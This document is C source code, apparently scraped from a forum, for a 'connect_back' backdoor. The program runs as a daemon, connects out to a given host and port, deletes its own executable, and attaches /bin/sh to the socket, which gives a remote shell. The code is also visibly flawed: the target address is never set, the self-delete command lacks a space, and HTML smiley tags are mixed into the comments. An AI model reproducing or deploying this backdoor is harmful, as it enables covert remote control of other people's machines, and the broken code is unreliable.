Code
/* Cyberlords connect_back backdoor.
*
* Usage: ./ccbd <ip> <port>
*
* (c) Cyber Lords Community / 2002-2006
* http://cyberlords.net
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#define DPORT 4000
#define DEL 20
int main(int argc,char **argv)
{
struct sockaddr_in ssin; /* AF_INET */
struct hostent *h; /* name car */
int s,port;
char msg[]="Running shell access ...\n";
char sh[]="/bin/sh";
char cmd[]="[HTTP]";
char del[DEL]="rm -f";
/* usage */
if (argc < 2 | argc > 3) {
printf("usage: %s <ip> <port>\n",argv[0]);
exit(0);
}
/*port check */
if(argv[2]==0){
port=DPORT; } else { port=atoi(argv[2]
); }
if( port> 65535 | port<1 ) {
fprintf(stderr,"Error:Port must be from 1 to 65535\n");
exit(1);
}
daemon(1,0); // what you whant men ? <img src="http://s11.ucoz.net/sm/23/wink.gif" border="0" align="absmiddle" alt="wink">
bzero(&ssin, sizeof(ssin));
ssin.sin_family = AF_INET;
ssin.sin_port = htons(port);
s=socket(AF_INET,SOCK_STREAM,0);
// no connect <img src="http://s11.ucoz.net/sm/23/sad.gif" border="0" align="absmiddle" alt="sad">
if( connect(s, (struct sockaddr*)&ssin, sizeof(ssin))< 0)
{
perror("[-] connect()");
exit(0);
}
// connect
connect(s, (struct sockaddr*)&ssin, sizeof(ssin));
send(s,msg,sizeof(msg),0);
strcat(del,argv[0]);
system(del); // kill bd <img src="http://s11.ucoz.net/sm/23/wink.gif" border="0" align="absmiddle" alt="wink">
dup2(s,0); // 3
dup2(s,1); // 2
dup2(s,2); // 1
execl(sh, cmd, 0); // go!
close(s);
}